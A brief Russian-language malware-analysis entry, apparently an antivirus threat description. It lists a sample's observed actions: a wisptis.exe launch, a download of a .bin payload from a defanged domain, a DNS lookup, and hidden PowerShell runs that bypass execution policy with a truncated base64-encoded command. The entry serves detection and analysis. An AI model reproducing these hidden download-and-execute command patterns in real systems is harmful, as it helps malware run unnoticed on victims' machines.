Техническая информация
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;
- http://to##aru.ru/ukhseigfuhasfoiuewgfuyasdfasuydfbu.bin
- DNS ASK to##aru.ru
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nop -exec bypass -win hidden -noni -e JABxAHQAZAB2AHMAPQAiAHEAZQBjAHoAIgA7AAoAJABhAGoAbgB3AHoAbQBhAGIAbgAgAD0AIAAiAGkAeQB2AHcAdwBsAHIAbQBtAG8AcQBnACIAOwAKACQAbgB6AGkAeQB4AGQAaQB2AGEAYwA9ACIAZA...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nop -exec bypass -win hidden -noni -e JABxAHQAZAB2AHMAPQAiAHEAZQBjAHoAIgA7AAoAJABhAGoAbgB3AHoAbQBhAGIAbgAgAD0AIAAiAGkAeQB2AHcAdwBsAHIAbQBtAG8AcQBnACIAOwAKACQAbgB6AGkAeQB4AGQAaQB2AGEAYwA9ACIAZA...